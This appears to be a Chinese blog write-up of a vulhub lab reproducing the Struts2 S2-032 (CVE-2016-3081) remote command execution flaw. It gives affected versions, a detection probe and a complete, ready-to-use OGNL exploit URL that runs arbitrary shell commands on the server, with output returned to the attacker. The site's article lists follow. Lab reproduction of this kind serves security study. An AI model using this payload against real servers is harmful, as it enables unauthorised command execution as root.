vulhub靶机struts2环境下的s2-032(CVE-2016-3081)(远程命令执行漏洞)

影响范围

Struts 2.3.19至2.3.20.2、2.3.21至2.3.24.1和2.3.25至2.3.28

当用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。

漏洞搭建

没有特殊要求,请看

(3条消息) vulhub搭建方法_himobrinehacken的博客-CSDN博客
判断方式

检测 根目录参数?actionErrors=1111

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、 页面直接出现 404 或者 500 等错误。

2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、 页面的内容结构发生了明显的改变。

4、 页面发生了重定向。

漏洞利用

exp

http://192.168.21.182:8080/memoindex.action? 
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setC 
haracterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23pa 
rameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23 
w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls

注意执行whoami时是root用户

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-14 05:54:13       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-14 05:54:13       101 阅读
  3. 在Django里面运行非项目文件

    2024-05-14 05:54:13       82 阅读
  4. Python语言-面向对象

    2024-05-14 05:54:13       91 阅读

热门阅读

  1. 阿里云ACP知识点汇总(36000字版)

    2024-05-14 05:54:13       24 阅读
  2. vim工作模式

    2024-05-14 05:54:13       31 阅读
  3. c 指针基础

    2024-05-14 05:54:13       29 阅读
  4. 缓存:Memcache与 Memcached的

    2024-05-14 05:54:13       26 阅读
  5. Spring boot使用websocket实现在线聊天

    2024-05-14 05:54:13       25 阅读
  6. 大数据技术栈2023:Apache Hadoop和Spark实战

    2024-05-14 05:54:13       28 阅读
  7. ffmpeg 读取流报错: Non-monotonous DTS in output stream

    2024-05-14 05:54:13       21 阅读
  8. Ribbon 策略

    2024-05-14 05:54:13       26 阅读
  9. 前端页面 贴边拖拽 盒子

    2024-05-14 05:54:13       32 阅读
  10. IDEA常用模板

    2024-05-14 05:54:13       30 阅读
  11. 【Pytest官方文档翻译及学习】1.1 安装和入门

    2024-05-14 05:54:13       30 阅读
  12. vue使用pdf

    2024-05-14 05:54:13       27 阅读
  13. vue h5项目预览pdf文件+电子签名

    2024-05-14 05:54:13       30 阅读
  14. 高端手机格局再生变数,华为赋魅、苹果祛魅

    2024-05-14 05:54:13       35 阅读
  15. MySQL编程2

    2024-05-14 05:54:13       32 阅读